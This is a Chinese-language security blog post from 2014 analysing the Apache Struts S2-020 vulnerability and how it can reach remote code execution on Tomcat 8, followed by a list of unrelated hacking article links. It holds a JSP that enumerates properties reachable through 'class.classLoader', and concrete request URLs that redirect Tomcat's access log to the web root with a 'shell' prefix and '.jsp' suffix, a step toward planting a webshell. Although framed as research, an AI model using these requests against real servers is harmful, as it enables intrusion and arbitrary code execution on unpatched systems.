发布时间:2014-04-28 12:39:47作者:知识屋
Struts S2-020这个通告已经公布有一段时间了。目前大家都知道这个可以造成DOS、文件等危害,相信各大厂商也已经采取了相应的安全措施。今天是和大家分享一下对这个漏洞的一点研究,包括如何在Tomcat 8下导致RCE,目的是抛砖引玉,有不足之处欢迎大家指出。
<%@ page language="java" import="java.lang.reflect.*" %> <%! public void processClass(Object instance, javax.servlet..JspWriter out, java.util.HashSet set, String poc){ try { Class<?> c = instance.getClass(); set.add(instance); Method[] allMethods = c.getMethods(); for (Method m : allMethods) { if (!m.getName().startsWith("set")) { continue; } if (!m.toGenericString().startsWith("public")) { continue; } Class<?>[] pType = m.getParameterTypes(); if(pType.length!=1) continue; if(pType[0].getName().equals("java.lang.String")|| pType[0].getName().equals("boolean")|| pType[0].getName().equals("int")){ String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4); out.print(poc+"."+fieldName + "<br>"); } } for (Method m : allMethods) { if (!m.getName().startsWith("get")) { continue; } if (!m.toGenericString().startsWith("public")) { continue; } Class<?>[] pType = m.getParameterTypes(); if(pType.length!=0) continue; if(m.getReturnType() == Void.TYPE) continue; Object o = m.invoke(instance); if(o!=null) { if(set.contains(o)) continue; processClass(o,out, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4)); } } } catch (java.io.IOException x) { x.printStackTrace(); } catch (java.lang.IllegalAccessException x) { x.printStackTrace(); } catch (java.lang.reflect.InvocationTargetException x) { x.printStackTrace(); } } %> <% java.util.HashSet set = new java.util.HashSet<Object>(); String poc = "class.classLoader"; example.HelloWorld action = new example.HelloWorld(); processClass(action.getClass().getClassLoader(),out,set,poc); %> 在tomcat 8.0.3下Struts2.3.16的blank app中执行这段jsp,输出结果如下: (省略部分非相关属性) class.classLoader.resources.context.parent.pipeline.first.encoding class.classLoader.resources.context.parent.pipeline.first.directory class.classLoader.resources.context.parent.pipeline.first.checkExists class.classLoader.resources.context.parent.pipeline.first.renameOnRotate class.classLoader.resources.context.parent.pipeline.first.fileDateFormat class.classLoader.resources.context.parent.pipeline.first.prefix class.classLoader.resources.context.parent.pipeline.first.rotatable class.classLoader.resources.context.parent.pipeline.first.buffered class.classLoader.resources.context.parent.pipeline.first.suffix class.classLoader.resources.context.parent.pipeline.first.locale class.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled class.classLoader.resources.context.parent.pipeline.first.enabled class.classLoader.resources.context.parent.pipeline.first.conditionUnless class.classLoader.resources.context.parent.pipeline.first.conditionIf class.classLoader.resources.context.parent.pipeline.first.pattern class.classLoader.resources.context.parent.pipeline.first.condition class.classLoader.resources.context.parent.pipeline.first.asyncSupported class.classLoader.resources.context.parent.pipeline.first.domain class.classLoader.resources.context.parent.pipeline.first.next.asyncSupported class.classLoader.resources.context.parent.pipeline.first.next.domain class.classLoader.resources.context.parent.pipeline.first.next.next.asyncSupported class.classLoader.resources.context.parent.pipeline.first.next.next.domain ......
class.classLoader.resources.context.parent.pipeline.first.directory =logs class.classLoader.resources.context.parent.pipeline.first.prefix =localhost_access_log class.classLoader.resources.context.parent.pipeline.first.suffix = .txt class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =.yyyy-mm-dd
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
org.apache.catalina.valves.AccessLogValve,在conf/server.xml里面有一段相关的配置: <!-- Access log processes allexample. Documentation at:/docs/config/valve. Note: The pattern used isequivalent to using pattern="common" --> <ValveclassName="org.apache.catalina.valves.AccessLogValve"directory="logs" prefix="localhost_access_log" suffix=".txt" pattern="%h %l %u %t"%r" %s %b" />
publicvoid log(CharArrayWriter message) { rotate(); …
public void rotate() { if (this.rotatable) { long systime =System.currentTimeMillis(); if (systime - this.rotationLastChecked> 1000L) synchronized (this) { if (systime -this.rotationLastChecked > 1000L) { this.rotationLastChecked = systime; String tsDate =this.fileDateFormatter.format(new Date(systime)); if (!this.dateStamp.equals(tsDate)){ close(true); this.dateStamp = tsDate; open(); } } } } }
2011-06-17
电脑开机时出现lass.exe进程是病毒吗?
自拍须谨慎!教你如何通过照片定位查看拍摄地点
电脑病毒最基础知识
黑客学员必须了解的C语言技术
精典详细内网渗透专题文章
教你破解Tp-Link的无线路由密码
解决SecureCRT中文显示乱码
QQ电脑管家和360哪个好?横评实测对比
攻防实战:无线网络路由入侵过程